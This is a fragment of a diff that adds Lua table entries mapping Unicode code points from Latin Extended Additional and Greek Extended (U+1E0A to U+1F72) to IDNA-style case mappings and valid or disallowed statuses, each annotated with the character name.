+ [0x1E0A] = 0x1E0B, -- LATIN CAPITAL LETTER D WITH DOT ABOVE
+ [0x1E0B] = {status="valid"}, -- LATIN SMALL LETTER D WITH DOT ABOVE
+ [0x1E0C] = 0x1E0D, -- LATIN CAPITAL LETTER D WITH DOT BELOW
+ [0x1E0D] = {status="valid"}, -- LATIN SMALL LETTER D WITH DOT BELOW
+ [0x1E0E] = 0x1E0F, -- LATIN CAPITAL LETTER D WITH LINE BELOW
+ [0x1E0F] = {status="valid"}, -- LATIN SMALL LETTER D WITH LINE BELOW
+ [0x1E10] = 0x1E11, -- LATIN CAPITAL LETTER D WITH CEDILLA
+ [0x1E11] = {status="valid"}, -- LATIN SMALL LETTER D WITH CEDILLA
+ [0x1E12] = 0x1E13, -- LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW
+ [0x1E13] = {status="valid"}, -- LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW
+ [0x1E14] = 0x1E15, -- LATIN CAPITAL LETTER E WITH MACRON AND GRAVE
+ [0x1E15] = {status="valid"}, -- LATIN SMALL LETTER E WITH MACRON AND GRAVE
+ [0x1E16] = 0x1E17, -- LATIN CAPITAL LETTER E WITH MACRON AND ACUTE
+ [0x1E17] = {status="valid"}, -- LATIN SMALL LETTER E WITH MACRON AND ACUTE
+ [0x1E18] = 0x1E19, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW
+ [0x1E19] = {status="valid"}, -- LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW
+ [0x1E1A] = 0x1E1B, -- LATIN CAPITAL LETTER E WITH TILDE BELOW
+ [0x1E1B] = {status="valid"}, -- LATIN SMALL LETTER E WITH TILDE BELOW
+ [0x1E1C] = 0x1E1D, -- LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE
+ [0x1E1D] = {status="valid"}, -- LATIN SMALL LETTER E WITH CEDILLA AND BREVE
+ [0x1E1E] = 0x1E1F, -- LATIN CAPITAL LETTER F WITH DOT ABOVE
+ [0x1E1F] = {status="valid"}, -- LATIN SMALL LETTER F WITH DOT ABOVE
+ [0x1E20] = 0x1E21, -- LATIN CAPITAL LETTER G WITH MACRON
+ [0x1E21] = {status="valid"}, -- LATIN SMALL LETTER G WITH MACRON
+ [0x1E22] = 0x1E23, -- LATIN CAPITAL LETTER H WITH DOT ABOVE
+ [0x1E23] = {status="valid"}, -- LATIN SMALL LETTER H WITH DOT ABOVE
+ [0x1E24] = 0x1E25, -- LATIN CAPITAL LETTER H WITH DOT BELOW
+ [0x1E25] = {status="valid"}, -- LATIN SMALL LETTER H WITH DOT BELOW
+ [0x1E26] = 0x1E27, -- LATIN CAPITAL LETTER H WITH DIAERESIS
+ [0x1E27] = {status="valid"}, -- LATIN SMALL LETTER H WITH DIAERESIS
+ [0x1E28] = 0x1E29, -- LATIN CAPITAL LETTER H WITH CEDILLA
+ [0x1E29] = {status="valid"}, -- LATIN SMALL LETTER H WITH CEDILLA
+ [0x1E2A] = 0x1E2B, -- LATIN CAPITAL LETTER H WITH BREVE BELOW
+ [0x1E2B] = {status="valid"}, -- LATIN SMALL LETTER H WITH BREVE BELOW
+ [0x1E2C] = 0x1E2D, -- LATIN CAPITAL LETTER I WITH TILDE BELOW
+ [0x1E2D] = {status="valid"}, -- LATIN SMALL LETTER I WITH TILDE BELOW
+ [0x1E2E] = 0x1E2F, -- LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE
+ [0x1E2F] = {status="valid"}, -- LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE
+ [0x1E30] = 0x1E31, -- LATIN CAPITAL LETTER K WITH ACUTE
+ [0x1E31] = {status="valid"}, -- LATIN SMALL LETTER K WITH ACUTE
+ [0x1E32] = 0x1E33, -- LATIN CAPITAL LETTER K WITH DOT BELOW
+ [0x1E33] = {status="valid"}, -- LATIN SMALL LETTER K WITH DOT BELOW
+ [0x1E34] = 0x1E35, -- LATIN CAPITAL LETTER K WITH LINE BELOW
+ [0x1E35] = {status="valid"}, -- LATIN SMALL LETTER K WITH LINE BELOW
+ [0x1E36] = 0x1E37, -- LATIN CAPITAL LETTER L WITH DOT BELOW
+ [0x1E37] = {status="valid"}, -- LATIN SMALL LETTER L WITH DOT BELOW
+ [0x1E38] = 0x1E39, -- LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON
+ [0x1E39] = {status="valid"}, -- LATIN SMALL LETTER L WITH DOT BELOW AND MACRON
+ [0x1E3A] = 0x1E3B, -- LATIN CAPITAL LETTER L WITH LINE BELOW
+ [0x1E3B] = {status="valid"}, -- LATIN SMALL LETTER L WITH LINE BELOW
+ [0x1E3C] = 0x1E3D, -- LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW
+ [0x1E3D] = {status="valid"}, -- LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW
+ [0x1E3E] = 0x1E3F, -- LATIN CAPITAL LETTER M WITH ACUTE
+ [0x1E3F] = {status="valid"}, -- LATIN SMALL LETTER M WITH ACUTE
+ [0x1E40] = 0x1E41, -- LATIN CAPITAL LETTER M WITH DOT ABOVE
+ [0x1E41] = {status="valid"}, -- LATIN SMALL LETTER M WITH DOT ABOVE
+ [0x1E42] = 0x1E43, -- LATIN CAPITAL LETTER M WITH DOT BELOW
+ [0x1E43] = {status="valid"}, -- LATIN SMALL LETTER M WITH DOT BELOW
+ [0x1E44] = 0x1E45, -- LATIN CAPITAL LETTER N WITH DOT ABOVE
+ [0x1E45] = {status="valid"}, -- LATIN SMALL LETTER N WITH DOT ABOVE
+ [0x1E46] = 0x1E47, -- LATIN CAPITAL LETTER N WITH DOT BELOW
+ [0x1E47] = {status="valid"}, -- LATIN SMALL LETTER N WITH DOT BELOW
+ [0x1E48] = 0x1E49, -- LATIN CAPITAL LETTER N WITH LINE BELOW
+ [0x1E49] = {status="valid"}, -- LATIN SMALL LETTER N WITH LINE BELOW
+ [0x1E4A] = 0x1E4B, -- LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW
+ [0x1E4B] = {status="valid"}, -- LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW
+ [0x1E4C] = 0x1E4D, -- LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
+ [0x1E4D] = {status="valid"}, -- LATIN SMALL LETTER O WITH TILDE AND ACUTE
+ [0x1E4E] = 0x1E4F, -- LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
+ [0x1E4F] = {status="valid"}, -- LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
+ [0x1E50] = 0x1E51, -- LATIN CAPITAL LETTER O WITH MACRON AND GRAVE
+ [0x1E51] = {status="valid"}, -- LATIN SMALL LETTER O WITH MACRON AND GRAVE
+ [0x1E52] = 0x1E53, -- LATIN CAPITAL LETTER O WITH MACRON AND ACUTE
+ [0x1E53] = {status="valid"}, -- LATIN SMALL LETTER O WITH MACRON AND ACUTE
+ [0x1E54] = 0x1E55, -- LATIN CAPITAL LETTER P WITH ACUTE
+ [0x1E55] = {status="valid"}, -- LATIN SMALL LETTER P WITH ACUTE
+ [0x1E56] = 0x1E57, -- LATIN CAPITAL LETTER P WITH DOT ABOVE
+ [0x1E57] = {status="valid"}, -- LATIN SMALL LETTER P WITH DOT ABOVE
+ [0x1E58] = 0x1E59, -- LATIN CAPITAL LETTER R WITH DOT ABOVE
+ [0x1E59] = {status="valid"}, -- LATIN SMALL LETTER R WITH DOT ABOVE
+ [0x1E5A] = 0x1E5B, -- LATIN CAPITAL LETTER R WITH DOT BELOW
+ [0x1E5B] = {status="valid"}, -- LATIN SMALL LETTER R WITH DOT BELOW
+ [0x1E5C] = 0x1E5D, -- LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON
+ [0x1E5D] = {status="valid"}, -- LATIN SMALL LETTER R WITH DOT BELOW AND MACRON
+ [0x1E5E] = 0x1E5F, -- LATIN CAPITAL LETTER R WITH LINE BELOW
+ [0x1E5F] = {status="valid"}, -- LATIN SMALL LETTER R WITH LINE BELOW
+ [0x1E60] = 0x1E61, -- LATIN CAPITAL LETTER S WITH DOT ABOVE
+ [0x1E61] = {status="valid"}, -- LATIN SMALL LETTER S WITH DOT ABOVE
+ [0x1E62] = 0x1E63, -- LATIN CAPITAL LETTER S WITH DOT BELOW
+ [0x1E63] = {status="valid"}, -- LATIN SMALL LETTER S WITH DOT BELOW
+ [0x1E64] = 0x1E65, -- LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE
+ [0x1E65] = {status="valid"}, -- LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE
+ [0x1E66] = 0x1E67, -- LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE
+ [0x1E67] = {status="valid"}, -- LATIN SMALL LETTER S WITH CARON AND DOT ABOVE
+ [0x1E68] = 0x1E69, -- LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE
+ [0x1E69] = {status="valid"}, -- LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+ [0x1E6A] = 0x1E6B, -- LATIN CAPITAL LETTER T WITH DOT ABOVE
+ [0x1E6B] = {status="valid"}, -- LATIN SMALL LETTER T WITH DOT ABOVE
+ [0x1E6C] = 0x1E6D, -- LATIN CAPITAL LETTER T WITH DOT BELOW
+ [0x1E6D] = {status="valid"}, -- LATIN SMALL LETTER T WITH DOT BELOW
+ [0x1E6E] = 0x1E6F, -- LATIN CAPITAL LETTER T WITH LINE BELOW
+ [0x1E6F] = {status="valid"}, -- LATIN SMALL LETTER T WITH LINE BELOW
+ [0x1E70] = 0x1E71, -- LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW
+ [0x1E71] = {status="valid"}, -- LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW
+ [0x1E72] = 0x1E73, -- LATIN CAPITAL LETTER U WITH DIAERESIS BELOW
+ [0x1E73] = {status="valid"}, -- LATIN SMALL LETTER U WITH DIAERESIS BELOW
+ [0x1E74] = 0x1E75, -- LATIN CAPITAL LETTER U WITH TILDE BELOW
+ [0x1E75] = {status="valid"}, -- LATIN SMALL LETTER U WITH TILDE BELOW
+ [0x1E76] = 0x1E77, -- LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW
+ [0x1E77] = {status="valid"}, -- LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW
+ [0x1E78] = 0x1E79, -- LATIN CAPITAL LETTER U WITH TILDE AND ACUTE
+ [0x1E79] = {status="valid"}, -- LATIN SMALL LETTER U WITH TILDE AND ACUTE
+ [0x1E7A] = 0x1E7B, -- LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS
+ [0x1E7B] = {status="valid"}, -- LATIN SMALL LETTER U WITH MACRON AND DIAERESIS
+ [0x1E7C] = 0x1E7D, -- LATIN CAPITAL LETTER V WITH TILDE
+ [0x1E7D] = {status="valid"}, -- LATIN SMALL LETTER V WITH TILDE
+ [0x1E7E] = 0x1E7F, -- LATIN CAPITAL LETTER V WITH DOT BELOW
+ [0x1E7F] = {status="valid"}, -- LATIN SMALL LETTER V WITH DOT BELOW
+ [0x1E80] = 0x1E81, -- LATIN CAPITAL LETTER W WITH GRAVE
+ [0x1E81] = {status="valid"}, -- LATIN SMALL LETTER W WITH GRAVE
+ [0x1E82] = 0x1E83, -- LATIN CAPITAL LETTER W WITH ACUTE
+ [0x1E83] = {status="valid"}, -- LATIN SMALL LETTER W WITH ACUTE
+ [0x1E84] = 0x1E85, -- LATIN CAPITAL LETTER W WITH DIAERESIS
+ [0x1E85] = {status="valid"}, -- LATIN SMALL LETTER W WITH DIAERESIS
+ [0x1E86] = 0x1E87, -- LATIN CAPITAL LETTER W WITH DOT ABOVE
+ [0x1E87] = {status="valid"}, -- LATIN SMALL LETTER W WITH DOT ABOVE
+ [0x1E88] = 0x1E89, -- LATIN CAPITAL LETTER W WITH DOT BELOW
+ [0x1E89] = {status="valid"}, -- LATIN SMALL LETTER W WITH DOT BELOW
+ [0x1E8A] = 0x1E8B, -- LATIN CAPITAL LETTER X WITH DOT ABOVE
+ [0x1E8B] = {status="valid"}, -- LATIN SMALL LETTER X WITH DOT ABOVE
+ [0x1E8C] = 0x1E8D, -- LATIN CAPITAL LETTER X WITH DIAERESIS
+ [0x1E8D] = {status="valid"}, -- LATIN SMALL LETTER X WITH DIAERESIS
+ [0x1E8E] = 0x1E8F, -- LATIN CAPITAL LETTER Y WITH DOT ABOVE
+ [0x1E8F] = {status="valid"}, -- LATIN SMALL LETTER Y WITH DOT ABOVE
+ [0x1E90] = 0x1E91, -- LATIN CAPITAL LETTER Z WITH CIRCUMFLEX
+ [0x1E91] = {status="valid"}, -- LATIN SMALL LETTER Z WITH CIRCUMFLEX
+ [0x1E92] = 0x1E93, -- LATIN CAPITAL LETTER Z WITH DOT BELOW
+ [0x1E93] = {status="valid"}, -- LATIN SMALL LETTER Z WITH DOT BELOW
+ [0x1E94] = 0x1E95, -- LATIN CAPITAL LETTER Z WITH LINE BELOW
+ -- COMBINING LEFT ARROWHEAD ABOVE..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
+ [0x1DFE] = {status="valid"},
+ [0x1DFF] = {status="valid"},
+ [0x1E9A] = {0x0061, 0x02BE}, -- LATIN SMALL LETTER A WITH RIGHT HALF RING
+ [0x1E9B] = 0x1E61, -- LATIN SMALL LETTER LONG S WITH DOT ABOVE
+ -- LATIN SMALL LETTER Z WITH LINE BELOW..LATIN SMALL LETTER Y WITH RING ABOVE
+ [0x1E95] = {status="valid"},
+ [0x1E96] = {status="valid"},
+ [0x1E97] = {status="valid"},
+ [0x1E98] = {status="valid"},
+ [0x1E99] = {status="valid"},
+ [0x1E9E] = {0x0073, 0x0073}, -- LATIN CAPITAL LETTER SHARP S
+ [0x1E9F] = {status="valid"}, -- LATIN SMALL LETTER DELTA
+ [0x1EA0] = 0x1EA1, -- LATIN CAPITAL LETTER A WITH DOT BELOW
+ [0x1EA1] = {status="valid"}, -- LATIN SMALL LETTER A WITH DOT BELOW
+ [0x1EA2] = 0x1EA3, -- LATIN CAPITAL LETTER A WITH HOOK ABOVE
+ [0x1EA3] = {status="valid"}, -- LATIN SMALL LETTER A WITH HOOK ABOVE
+ [0x1EA4] = 0x1EA5, -- LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
+ [0x1EA5] = {status="valid"}, -- LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
+ [0x1EA6] = 0x1EA7, -- LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
+ [0x1EA7] = {status="valid"}, -- LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
+ [0x1EA8] = 0x1EA9, -- LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+ [0x1EA9] = {status="valid"}, -- LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+ [0x1EAA] = 0x1EAB, -- LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
+ [0x1EAB] = {status="valid"}, -- LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
+ [0x1EAC] = 0x1EAD, -- LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+ [0x1EAD] = {status="valid"}, -- LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+ [0x1EAE] = 0x1EAF, -- LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
+ [0x1EAF] = {status="valid"}, -- LATIN SMALL LETTER A WITH BREVE AND ACUTE
+ [0x1EB0] = 0x1EB1, -- LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
+ [0x1EB1] = {status="valid"}, -- LATIN SMALL LETTER A WITH BREVE AND GRAVE
+ [0x1EB2] = 0x1EB3, -- LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
+ [0x1EB3] = {status="valid"}, -- LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
+ [0x1EB4] = 0x1EB5, -- LATIN CAPITAL LETTER A WITH BREVE AND TILDE
+ [0x1EB5] = {status="valid"}, -- LATIN SMALL LETTER A WITH BREVE AND TILDE
+ [0x1EB6] = 0x1EB7, -- LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
+ [0x1EB7] = {status="valid"}, -- LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
+ [0x1EB8] = 0x1EB9, -- LATIN CAPITAL LETTER E WITH DOT BELOW
+ [0x1EB9] = {status="valid"}, -- LATIN SMALL LETTER E WITH DOT BELOW
+ [0x1EBA] = 0x1EBB, -- LATIN CAPITAL LETTER E WITH HOOK ABOVE
+ [0x1EBB] = {status="valid"}, -- LATIN SMALL LETTER E WITH HOOK ABOVE
+ [0x1EBC] = 0x1EBD, -- LATIN CAPITAL LETTER E WITH TILDE
+ [0x1EBD] = {status="valid"}, -- LATIN SMALL LETTER E WITH TILDE
+ [0x1EBE] = 0x1EBF, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+ [0x1EBF] = {status="valid"}, -- LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+ [0x1EC0] = 0x1EC1, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+ [0x1EC1] = {status="valid"}, -- LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+ [0x1EC2] = 0x1EC3, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+ [0x1EC3] = {status="valid"}, -- LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+ [0x1EC4] = 0x1EC5, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+ [0x1EC5] = {status="valid"}, -- LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+ [0x1EC6] = 0x1EC7, -- LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+ [0x1EC7] = {status="valid"}, -- LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+ [0x1EC8] = 0x1EC9, -- LATIN CAPITAL LETTER I WITH HOOK ABOVE
+ [0x1EC9] = {status="valid"}, -- LATIN SMALL LETTER I WITH HOOK ABOVE
+ [0x1ECA] = 0x1ECB, -- LATIN CAPITAL LETTER I WITH DOT BELOW
+ [0x1ECB] = {status="valid"}, -- LATIN SMALL LETTER I WITH DOT BELOW
+ [0x1ECC] = 0x1ECD, -- LATIN CAPITAL LETTER O WITH DOT BELOW
+ [0x1ECD] = {status="valid"}, -- LATIN SMALL LETTER O WITH DOT BELOW
+ [0x1ECE] = 0x1ECF, -- LATIN CAPITAL LETTER O WITH HOOK ABOVE
+ [0x1ECF] = {status="valid"}, -- LATIN SMALL LETTER O WITH HOOK ABOVE
+ [0x1ED0] = 0x1ED1, -- LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+ [0x1ED1] = {status="valid"}, -- LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+ [0x1ED2] = 0x1ED3, -- LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+ [0x1ED3] = {status="valid"}, -- LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+ [0x1ED4] = 0x1ED5, -- LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+ [0x1ED5] = {status="valid"}, -- LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+ [0x1ED6] = 0x1ED7, -- LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+ [0x1ED7] = {status="valid"}, -- LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+ [0x1ED8] = 0x1ED9, -- LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+ [0x1ED9] = {status="valid"}, -- LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+ [0x1EDA] = 0x1EDB, -- LATIN CAPITAL LETTER O WITH HORN AND ACUTE
+ [0x1EDB] = {status="valid"}, -- LATIN SMALL LETTER O WITH HORN AND ACUTE
+ [0x1EDC] = 0x1EDD, -- LATIN CAPITAL LETTER O WITH HORN AND GRAVE
+ [0x1EDD] = {status="valid"}, -- LATIN SMALL LETTER O WITH HORN AND GRAVE
+ [0x1EDE] = 0x1EDF, -- LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
+ [0x1EDF] = {status="valid"}, -- LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
+ [0x1EE0] = 0x1EE1, -- LATIN CAPITAL LETTER O WITH HORN AND TILDE
+ [0x1EE1] = {status="valid"}, -- LATIN SMALL LETTER O WITH HORN AND TILDE
+ [0x1EE2] = 0x1EE3, -- LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+ [0x1EE3] = {status="valid"}, -- LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+ [0x1EE4] = 0x1EE5, -- LATIN CAPITAL LETTER U WITH DOT BELOW
+ [0x1EE5] = {status="valid"}, -- LATIN SMALL LETTER U WITH DOT BELOW
+ [0x1EE6] = 0x1EE7, -- LATIN CAPITAL LETTER U WITH HOOK ABOVE
+ [0x1EE7] = {status="valid"}, -- LATIN SMALL LETTER U WITH HOOK ABOVE
+ [0x1EE8] = 0x1EE9, -- LATIN CAPITAL LETTER U WITH HORN AND ACUTE
+ [0x1EE9] = {status="valid"}, -- LATIN SMALL LETTER U WITH HORN AND ACUTE
+ [0x1EEA] = 0x1EEB, -- LATIN CAPITAL LETTER U WITH HORN AND GRAVE
+ [0x1EEB] = {status="valid"}, -- LATIN SMALL LETTER U WITH HORN AND GRAVE
+ [0x1EEC] = 0x1EED, -- LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
+ [0x1EED] = {status="valid"}, -- LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
+ [0x1EEE] = 0x1EEF, -- LATIN CAPITAL LETTER U WITH HORN AND TILDE
+ [0x1EEF] = {status="valid"}, -- LATIN SMALL LETTER U WITH HORN AND TILDE
+ [0x1EF0] = 0x1EF1, -- LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
+ [0x1EF1] = {status="valid"}, -- LATIN SMALL LETTER U WITH HORN AND DOT BELOW
+ [0x1EF2] = 0x1EF3, -- LATIN CAPITAL LETTER Y WITH GRAVE
+ [0x1EF3] = {status="valid"}, -- LATIN SMALL LETTER Y WITH GRAVE
+ [0x1EF4] = 0x1EF5, -- LATIN CAPITAL LETTER Y WITH DOT BELOW
+ [0x1EF5] = {status="valid"}, -- LATIN SMALL LETTER Y WITH DOT BELOW
+ [0x1EF6] = 0x1EF7, -- LATIN CAPITAL LETTER Y WITH HOOK ABOVE
+ [0x1EF7] = {status="valid"}, -- LATIN SMALL LETTER Y WITH HOOK ABOVE
+ [0x1EF8] = 0x1EF9, -- LATIN CAPITAL LETTER Y WITH TILDE
+ [0x1EF9] = {status="valid"}, -- LATIN SMALL LETTER Y WITH TILDE
+ [0x1EFA] = 0x1EFB, -- LATIN CAPITAL LETTER MIDDLE-WELSH LL
+ [0x1EFB] = {status="valid"}, -- LATIN SMALL LETTER MIDDLE-WELSH LL
+ [0x1EFC] = 0x1EFD, -- LATIN CAPITAL LETTER MIDDLE-WELSH V
+ [0x1EFD] = {status="valid"}, -- LATIN SMALL LETTER MIDDLE-WELSH V
+ [0x1EFE] = 0x1EFF, -- LATIN CAPITAL LETTER Y WITH LOOP
+ [0x1EFF] = {status="valid"}, -- LATIN SMALL LETTER Y WITH LOOP
+ -- LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE..LATIN SMALL LETTER LONG S WITH HIGH STROKE
+ [0x1E9C] = {status="valid"},
+ [0x1E9D] = {status="valid"},
+ [0x1F08] = 0x1F00, -- GREEK CAPITAL LETTER ALPHA WITH PSILI
+ [0x1F09] = 0x1F01, -- GREEK CAPITAL LETTER ALPHA WITH DASIA
+ [0x1F0A] = 0x1F02, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA
+ [0x1F0B] = 0x1F03, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA
+ [0x1F0C] = 0x1F04, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA
+ [0x1F0D] = 0x1F05, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA
+ [0x1F0E] = 0x1F06, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI
+ [0x1F0F] = 0x1F07, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI
+ [0x1F18] = 0x1F10, -- GREEK CAPITAL LETTER EPSILON WITH PSILI
+ [0x1F19] = 0x1F11, -- GREEK CAPITAL LETTER EPSILON WITH DASIA
+ [0x1F1A] = 0x1F12, -- GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA
+ [0x1F1B] = 0x1F13, -- GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA
+ [0x1F1C] = 0x1F14, -- GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA
+ [0x1F1D] = 0x1F15, -- GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
+ -- NA <reserved-1F16>..<reserved-1F17>
+ [0x1F16] = {status="disallowed"},
+ [0x1F17] = {status="disallowed"},
+ -- NA <reserved-1F1E>..<reserved-1F1F>
+ [0x1F1E] = {status="disallowed"},
+ [0x1F1F] = {status="disallowed"},
+ [0x1F28] = 0x1F20, -- GREEK CAPITAL LETTER ETA WITH PSILI
+ [0x1F29] = 0x1F21, -- GREEK CAPITAL LETTER ETA WITH DASIA
+ [0x1F2A] = 0x1F22, -- GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA
+ [0x1F2B] = 0x1F23, -- GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA
+ [0x1F2C] = 0x1F24, -- GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA
+ [0x1F2D] = 0x1F25, -- GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA
+ [0x1F2E] = 0x1F26, -- GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI
+ [0x1F2F] = 0x1F27, -- GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI
+ [0x1F38] = 0x1F30, -- GREEK CAPITAL LETTER IOTA WITH PSILI
+ [0x1F39] = 0x1F31, -- GREEK CAPITAL LETTER IOTA WITH DASIA
+ [0x1F3A] = 0x1F32, -- GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA
+ [0x1F3B] = 0x1F33, -- GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA
+ [0x1F3C] = 0x1F34, -- GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA
+ [0x1F3D] = 0x1F35, -- GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA
+ [0x1F3E] = 0x1F36, -- GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI
+ [0x1F3F] = 0x1F37, -- GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI
+ [0x1F48] = 0x1F40, -- GREEK CAPITAL LETTER OMICRON WITH PSILI
+ [0x1F49] = 0x1F41, -- GREEK CAPITAL LETTER OMICRON WITH DASIA
+ [0x1F4A] = 0x1F42, -- GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA
+ [0x1F4B] = 0x1F43, -- GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA
+ [0x1F4C] = 0x1F44, -- GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA
+ [0x1F4D] = 0x1F45, -- GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
+ -- NA <reserved-1F46>..<reserved-1F47>
+ [0x1F46] = {status="disallowed"},
+ [0x1F47] = {status="disallowed"},
+ -- NA <reserved-1F4E>..<reserved-1F4F>
+ [0x1F4E] = {status="disallowed"},
+ [0x1F4F] = {status="disallowed"},
+ [0x1F58] = {status="disallowed"}, -- NA <reserved-1F58>
+ [0x1F59] = 0x1F51, -- GREEK CAPITAL LETTER UPSILON WITH DASIA
+ [0x1F5A] = {status="disallowed"}, -- NA <reserved-1F5A>
+ [0x1F5B] = 0x1F53, -- GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA
+ [0x1F5C] = {status="disallowed"}, -- NA <reserved-1F5C>
+ [0x1F5D] = 0x1F55, -- GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA
+ [0x1F5E] = {status="disallowed"}, -- NA <reserved-1F5E>
+ [0x1F5F] = 0x1F57, -- GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI
+ [0x1F68] = 0x1F60, -- GREEK CAPITAL LETTER OMEGA WITH PSILI
+ [0x1F69] = 0x1F61, -- GREEK CAPITAL LETTER OMEGA WITH DASIA
+ [0x1F6A] = 0x1F62, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA
+ [0x1F6B] = 0x1F63, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA
+ [0x1F6C] = 0x1F64, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA
+ [0x1F6D] = 0x1F65, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA
+ [0x1F6E] = 0x1F66, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI
+ [0x1F6F] = 0x1F67, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI
+ [0x1F70] = {status="valid"}, -- GREEK SMALL LETTER ALPHA WITH VARIA
+ [0x1F71] = 0x03AC, -- GREEK SMALL LETTER ALPHA WITH OXIA
+ [0x1F72] = {status="valid"}, -- GREEK SMALL LETTER EPSILON WITH VARIA
